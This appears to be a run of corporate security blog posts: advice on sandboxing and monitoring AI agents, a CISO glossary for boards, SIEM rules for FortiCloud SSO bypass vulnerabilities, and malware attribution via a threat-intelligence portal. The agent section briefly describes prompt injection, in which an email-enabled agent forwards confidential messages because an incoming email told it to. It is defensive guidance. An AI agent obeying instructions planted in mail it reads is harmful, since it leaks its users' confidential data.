• Use short-lived access tokens with a strictly limited scope of privileges. Never hand an agent tokens that grant access to core company servers or services. Ideally, create dedicated service accounts for every individual test.
• Wall off the agent from dangerous tools and data sets that aren’t relevant to its specific job. For experimental rollouts, it’s best practice to test the agent using purely synthetic data that mimics the structure of real production data.
• Configure detailed logging of the agent’s actions. This should include event logs, command-line parameters, and chain-of-thought artifacts associated with every command it executes.
• Set up SIEM to flag abnormal agent activity. The same techniques and rules used to detect LotL attacks are applicable here, though additional efforts to define what normal activity looks like for a specific agent are required.
• If MCP servers and additional agent skills are used, scan them with the security tools emerging for these tasks, such as skill-scanner, mcp-scanner, or mcp-scan. Specifically for OpenClaw testing, several companies have already released open-source tools to audit the security of its configurations.

Corporate policies and employee training

A flat-out ban on all AI tools is a simple but rarely productive path. Employees usually find workarounds — driving the problem into the shadows where it’s even harder to control. Instead, it’s better to find a sensible balance between productivity and security.

Implement transparent policies on using agentic AI. Define which data categories are okay for external AI services to process, and which are strictly off-limits. Employees need to understand why something is forbidden. A policy of “yes, but with guardrails” is always received better than a blanket “no”.

Train with real-world examples. Abstract warnings about “leakage risks” tend to be futile. It’s better to demonstrate how an agent with email access can forward confidential messages just because a random incoming email asked it to. When the threat feels real, motivation to follow the rules grows too. Ideally, employees should complete a brief crash course on AI security.

Offer secure alternatives. If employees need an AI assistant, provide an approved tool that features centralized management, logging, and OAuth access control.

To implement effective cybersecurity programs and keep the security team deeply integrated into all business processes, the CISO needs to regularly demonstrate the value of this work to senior management. This requires speaking the language of business, but a dangerous trap awaits those who try.  Security professionals and executives often use the same words, but for entirely different things. Sometimes, a number of similar terms are used interchangeably. As a result, top management may not understand which threats the security team is trying to mitigate, what the company’s actual level of cyber-resilience is, or where budget and resources are being allocated. Therefore, before presenting sleek dashboards or calculating the ROI of security programs, it’s worth subtly clarifying these important terminological nuances.

By clarifying these terms and building a shared vocabulary, the CISO and the Board can significantly improve communication and, ultimately, strengthen the organization’s overall security posture.

Why cybersecurity vocabulary matters for management

Varying interpretations of terms are more than just an inconvenience; the consequences can be quite substantial. A lack of clarity regarding details can lead to:

• Misallocated investments. Management might approve the purchase of a zero trust solution without realizing it’s only one piece of a long-term, comprehensive program with a significantly larger budget. The money is spent, yet the results management expected are never achieved. Similarly, with regard to cloud migration, management may assume that moving to the cloud automatically transfers all security responsibility to the provider, and subsequently reject the cloud security budget.
• Blind acceptance of risk. Business unit leaders may accept cybersecurity risks without having a full understanding of the potential impact.
• Lack of governance. Without understanding the terminology, management can’t ask the right — tough — questions, or assign areas of responsibility effectively. When an incident occurs, it often turns out that business owners believed security was entirely within the CISO’s domain, while the CISO lacked the authority to influence business processes.

Cyber-risk vs. IT risk

Many executives believe that cybersecurity is a purely technical issue they can hand off to IT. Even though the importance of cybersecurity to business is indisputable, and cyber-incidents have long ranked as a top business risk, surveys show that many organizations still fail to engage non-technical leaders in cybersecurity discussions.

Information security risks are often lumped in with IT concerns like uptime and service availability.  In reality, cyberrisk is a strategic business risk linked to business continuity, financial loss, and reputational damage.

IT risks are generally operational in nature, affecting efficiency, reliability, and cost management. Responding to IT incidents is often handled entirely by IT staff. Major cybersecurity incidents, however, have a much broader scope; they require the engagement of nearly every department, and have a long-term impact on the organization in many ways — including as regards reputation, regulatory compliance, customer relationships, and overall financial health.

Compliance vs. security

Cybersecurity is integrated into regulatory requirements at every level — from international directives like NIS2 and GDPR, to cross-border industry guidelines like PCI DSS, plus specific departmental mandates. As a result, company management often views cybersecurity measures as compliance checkboxes, believing that once regulatory requirements are met, cybersecurity issues can be considered resolved. This mindset can stem from a conscious effort to minimize security spending (“we’re not doing more than what we’re required to”) or from a sincere misunderstanding (“we’ve passed an ISO 27001 audit, so we’re unhackable”).

In reality, compliance is meeting the minimum requirements of auditors and government regulators at a specific point in time. Unfortunately, the history of large-scale cyberattacks on major organizations proves that “minimum” requirements have that name for a reason. For real protection against modern cyberthreats, companies must continuously improve their security strategies and measures according to the specific needs of the given industry.

Threat, vulnerability, and risk

These three terms are often used synonymously, which leads to erroneous conclusions made by management: “There’s a critical vulnerability on our server? That means we have a critical risk!” To avoid panic or, conversely, inaction, it’s vital to use these terms precisely and understand how they relate to one another.

A vulnerability is a weakness — an “open door”. This could be a flaw in software code, a misconfigured server, an unlocked server room, or an employee who opens every email attachment.

A threat is a potential cause of an incident. This could be a malicious actor, malware, or even a natural disaster. A threat is what might “walk through that open door”.

Risk is the potential loss. It’s the cumulative assessment of the likelihood of a successful attack, and what the organization stands to lose as a result (the impact).

The connections among these elements are best explained with a simple formula:

Risk = (Threat × Vulnerability) × Impact

This can be illustrated as follows. Imagine a critical vulnerability with a maximum severity rating is discovered in an outdated system. However, this system is disconnected from all networks, sits in an isolated room, and is handled by only three vetted employees. The probability of an attacker reaching it is near zero. Meanwhile, the lack of two-factor authentication in the accounting systems creates a real, high risk, resulting from both a high probability of attack and significant potential damage.

Incident response, disaster recovery, and business continuity

Management’s perception of security crises is often oversimplified: “If we get hit by ransomware, we’ll just activate the IT Disaster Recovery plan and restore from backups”. However, conflating these concepts — and processes — is extremely dangerous.

Incident Response (IR) is the responsibility of the security team or specialist contractors. Their job is to localize the threat, kick the attacker out of the network, and stop the attack from spreading.

Disaster Recovery (DR) is an IT engineering task. It’s the process of restoring servers and data from backups after the incident response has been completed.

Business Continuity (BC) is a strategic task for top management. It’s the plan for how the company continues to serve customers, ship goods, pay compensation, and talk to the press while its primary systems are still offline.

If management focuses solely on recovery, the company will lack an action plan for the most critical period of downtime.

Security awareness vs. security culture

Leaders at all levels sometimes assume that simply conducting security training guarantees results: “The employees have passed their annual test, so now they won’t click on a phishing link”. Unfortunately, relying solely on training organized by HR and IT won’t cut it. Effectiveness requires changing the team’s behavior, which is impossible without the engagement of business management.

Awareness is knowledge. An employee knows what phishing is and understands the importance of complex passwords.

Security culture refers to behavioral patterns. It’s what an employee does in a stressful situation or when no one’s watching. Culture isn’t shaped by tests, but by an environment where it’s safe to report mistakes and where it’s customary to identify and prevent potentially dangerous situations. If an employee fears punishment, they’ll hide an incident. In a healthy culture, they’ll report a suspicious email to the SOC, or nudge a colleague who forgets to lock their computer, thereby becoming an active link in the defense chain.

Detection vs. prevention

Business leaders often think in outdated “fortress wall” categories: “We bought expensive protection systems, so there should be no way to hack us. If an incident occurs, it means the CISO failed”. In practice, preventing 100% of attacks is technically impossible and economically prohibitive. Modern strategy is built on a balance between cybersecurity and business effectiveness. In a balanced system, components focused on threat detection and prevention work in tandem.

Prevention deflects automated, mass attacks.

Detection and Response help identify and neutralize more professional, targeted attacks that manage to bypass prevention tools or exploit vulnerabilities.

The key objective of the cybersecurity team today isn’t to guarantee total invulnerability, but to detect an attack at an early stage and minimize the impact on the business. To measure success here, the industry typically uses metrics like Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR).

Zero-trust philosophy vs. zero-trust products

The zero trust concept — which implies “never trust, always verify” for all components of IT infrastructure — has long been recognized as relevant and effective in corporate security. It requires constant verification of identity (user accounts, devices, and services) and context for every access request based on the assumption that the network has already been compromised.

However, the presence of “zero trust” in the name of a security solution doesn’t mean an organization can adopt this approach overnight simply by purchasing the product.
Zero trust isn’t a product you can “turn on”; it’s an architectural strategy and a long-term transformation journey. Implementing zero trust requires restructuring access processes and refining IT systems to ensure continuous verification of identity and devices. Buying software without changing processes won’t have a significant effect.

Security of the cloud vs. security in the cloud

When migrating IT services to cloud infrastructure like AWS or Azure, there’s often an illusion of a total risk transfer: “We pay the provider, so security is now their headache”. This is a dangerous misconception, and a misinterpretation of what is known as the Shared Responsibility Model.

Security of the cloud is the provider’s responsibility. It protects the data centers, the physical servers, and the cabling.

Security in the cloud is the client’s responsibility.

Discussions regarding budgets for cloud projects and their security aspects should be accompanied by real life examples. The provider protects the database from unauthorized access according to the settings configured by the client’s employees. If employees leave a database open or use weak passwords, and if two-factor authentication isn’t enabled for the administrator panel, the provider can’t prevent unauthorized individuals from downloading the information — an all-too-common news story. Therefore, the budget for these projects must account for cloud security tools and configuration management on the company side.

Vulnerability scanning vs. penetration testing

Leaders often confuse automated checks, which fall under cyber-hygiene, with assessing IT assets for resilience against sophisticated attacks: “Why pay hackers for a pentest when we run the scanner every week?”

Vulnerability scanning checks a specific list of IT assets for known vulnerabilities. To put it simply, it’s like a security guard doing the rounds to check that the office windows and doors are locked.

Penetration testing (pentesting) is a manual assessment to evaluate the possibility of a real-world breach by exploiting vulnerabilities. To continue the analogy, it’s like hiring an expert burglar to actually try and break into the office.

One doesn’t replace the other; to understand its true security posture, a business needs both tools.

Managed assets vs. attack surface

A common and dangerous misconception concerns the scope of protection and the overall visibility held by IT and Security. A common refrain at meetings is, “We have an accurate inventory list of our hardware. We’re protecting everything we own”.

Managed IT assets are things the IT department has purchased, configured, and can see in their reports.

An attack surface is anything accessible to attackers: any potential entry point into the company. This includes Shadow IT (cloud services, personal messaging apps, test servers…), which is basically anything employees launch themselves in circumvention of official protocols to speed up or simplify their work. Often, it’s these “invisible” assets that become the entry point for an attack, as the security team can’t protect what it doesn’t know exists.

Over the past two months researchers have reported three vulnerabilities that can be exploited to bypass authentication in Fortinet products using the FortiCloud SSO mechanism. The first two – CVE-2025-59718 and CVE-2025-59719 – were found by the company’s experts during a code audit (although CVE-2025-59718 has already made it into CISA’s Known Exploited Vulnerabilities Catalog), while the third – CVE-2026-24858 – was identified directly during an investigation of unauthorized activity on devices. These vulnerabilities allow attackers with a FortiCloud account to log into various companies’ FortiOS, FortiManager, FortiAnalyzer, FortiProxy, and FortiWeb accounts if the SSO feature is enabled on the given device.

To protect companies that use both our Kaspersky Unified Monitoring and Analysis Platform and Fortinet devices, we’ve created a set of correlation rules that help detect this malicious activity. The rules are already available for customers to download from Kaspersky SIEM repository; the package name is: [OOTB] FortiCloud SSO abuse package – ENG.

Contents of the FortiCloud SSO abuse package

The package includes three groups of rules. They’re used to monitor the following:

• Indicators of compromise: source IP addresses, usernames, creation of a new account with specific names;
• critical administrator actions, such as logging in from a new IP address, creating a new account, logging in via SSO, logging in from a public IP address, exporting device configuration;
• suspicious activity: configuration export or account creation immediately after a suspicious login.

Rules marked “(info)” may potentially generate false positives, as events critical for monitoring authentication bypass attempts may be entirely legitimate. To reduce false positives, add IP addresses or accounts associated with legitimate administrative activity to the exceptions.

As new attack reports emerge, we plan to supplement the rules marked with “IOC” with new information.

Additional recommendations

We also recommend using rules from the FortiCloud SSO abuse package for retrospective analysis or threat hunting. Recommended analysis period: starting from December 2025.

For the detection rules to work correctly, you need to ensure that events from Fortinet devices are received in full and normalized correctly. We also recommend configuring data in the “Extra” field when normalizing events, as this field contains additional information that may need investigating.

Learn more about our Kaspersky Unified Monitoring and Analysis Platform at on the official solution page.

Not every cybersecurity practitioner thinks it’s worth the effort to figure out exactly who’s pulling the strings behind the malware hitting their company. The typical incident investigation algorithm goes something like this: analyst finds a suspicious file → if the antivirus didn’t catch it, puts it into a sandbox to test → confirms some malicious activity → adds the hash to the blocklist → goes for coffee break. These are the go-to steps for many cybersecurity professionals — especially when they’re swamped with alerts, or don’t quite have the forensic skills to unravel a complex attack thread by thread. However, when dealing with a targeted attack, this approach is a one-way ticket to disaster — and here’s why.

If an attacker is playing for keeps, they rarely stick to a single attack vector. There’s a good chance the malicious file has already played its part in a multi-stage attack and is now all but useless to the attacker. Meanwhile, the adversary has already dug deep into corporate infrastructure and is busy operating with an entirely different set of tools. To clear the threat for good, the security team has to uncover and neutralize the entire attack chain.

But how can this be done quickly and effectively before the attackers manage to do some real damage? One way is to dive deep into the context. By analyzing a single file, an expert can identify exactly who’s attacking his company, quickly find out which other tools and tactics that specific group employs, and then sweep infrastructure for any related threats. There are plenty of threat intelligence tools out there for this, but I’ll show you how it works using our Kaspersky Threat Intelligence Portal.

A practical example of why attribution matters

Let’s say we upload a piece of malware we’ve discovered to a threat intelligence portal, and learn that it’s usually being used by, say, the MysterySnail group. What does that actually tell us? Let’s look at the available intel:

First off, these attackers target government institutions in both Russia and Mongolia. They’re a Chinese-speaking group that typically focuses on espionage. According to their profile, they establish a foothold in infrastructure and lay low until they find something worth stealing. We also know that they typically exploit the vulnerability CVE-2021-40449. What kind of vulnerability is that?

As we can see, it’s a privilege escalation vulnerability — meaning it’s used after hackers have already infiltrated the infrastructure. This vulnerability has a high severity rating and is heavily exploited in the wild. So what software is actually vulnerable?

Got it: Microsoft Windows. Time to double-check if the patch that fixes this hole has actually been installed. Alright, besides the vulnerability, what else do we know about the hackers? It turns out they have a peculiar way of checking network configurations — they connect to the public site 2ip.ru:

So it makes sense to add a correlation rule to SIEM to flag that kind of behavior.

Now’s the time to read up on this group in more detail and gather additional indicators of compromise (IoCs) for SIEM monitoring, as well as ready-to-use YARA rules (structured text descriptions used to identify malware). This will help us track down all the tentacles of this kraken that might have already crept into corporate infrastructure, and ensure we can intercept them quickly if they try to break in again.

Kaspersky Threat Intelligence Portal provides a ton of additional reports on MysterySnail attacks, each complete with a list of IoCs and YARA rules. These YARA rules can be used to scan all endpoints, and those IoCs can be added into SIEM for constant monitoring. While we’re at it, let’s check the reports to see how these attackers handle data exfiltration, and what kind of data they’re usually hunting for. Now we can actually take steps to head off the attack.

And just like that, MysterySnail, the infrastructure is now tuned to find you and respond immediately. No more spying for you!

Malware attribution methods

Before diving into specific methods, we need to make one thing clear: for attribution to actually work, the threat intelligence provided needs a massive knowledge base of the tactics, techniques, and procedures (TTPs) used by threat actors. The scope and quality of these databases can vary wildly among vendors. In our case, before even building our tool, we spent years tracking known groups across various campaigns and logging their TTPs, and we continue to actively update that database today.

With a TTP database in place, the following attribution methods can be implemented:

1. Dynamic attribution: identifying TTPs through the dynamic analysis of specific files, then cross-referencing that set of TTPs against those of known hacking groups
2. Technical attribution: finding code overlaps between specific files and code fragments known to be used by specific hacking groups in their malware

Dynamic attribution

Identifying TTPs during dynamic analysis is relatively straightforward to implement; in fact, this functionality has been a staple of every modern sandbox for a long time. Naturally, all of our sandboxes also identify TTPs during the dynamic analysis of a malware sample:

The core of this method lies in categorizing malware activity using the MITRE ATT&CK framework. A sandbox report typically contains a list of detected TTPs. While this is highly useful data, it’s not enough for full-blown attribution to a specific group. Trying to identify the perpetrators of an attack using just this method is a lot like the ancient Indian parable of the blind men and the elephant: blindfolded folks touch different parts of an elephant and try to deduce what’s in front of them from just that. The one touching the trunk thinks it’s a python; the one touching the side is sure it’s a wall, and so on.

Technical attribution

The second attribution method is handled via static code analysis (though keep in mind that this type of attribution is always problematic). The core idea here is to cluster even slightly overlapping malware files based on specific unique characteristics. Before analysis can begin, the malware sample must be disassembled. The problem is that alongside the informative and useful bits, the recovered code contains a lot of noise. If the attribution algorithm takes this non-informative junk into account, any malware sample will end up looking similar to a great number of legitimate files, making quality attribution impossible. On the flip side, trying to only attribute malware based on the useful fragments but using a mathematically primitive method will only cause the false positive rate to go through the roof. Furthermore, any attribution result must be cross-checked for similarities with legitimate files — and the quality of that check usually depends heavily on the vendor’s technical capabilities.

Kaspersky’s approach to attribution

Our products leverage a unique database of malware associated with specific hacking groups, built over more than 25 years. On top of that, we use a patented attribution algorithm based on static analysis of disassembled code. This allows us to determine — with high precision, and even a specific probability percentage — how similar an analyzed file is to known samples from a particular group. This way, we can form a well-grounded verdict attributing the malware to a specific threat actor. The results are then cross-referenced against a database of billions of legitimate files to filter out false positives; if a match is found with any of them, the attribution verdict is adjusted accordingly. This approach is the backbone of the Kaspersky Threat Attribution Engine, which powers the threat attribution service on the Kaspersky Threat Intelligence Portal.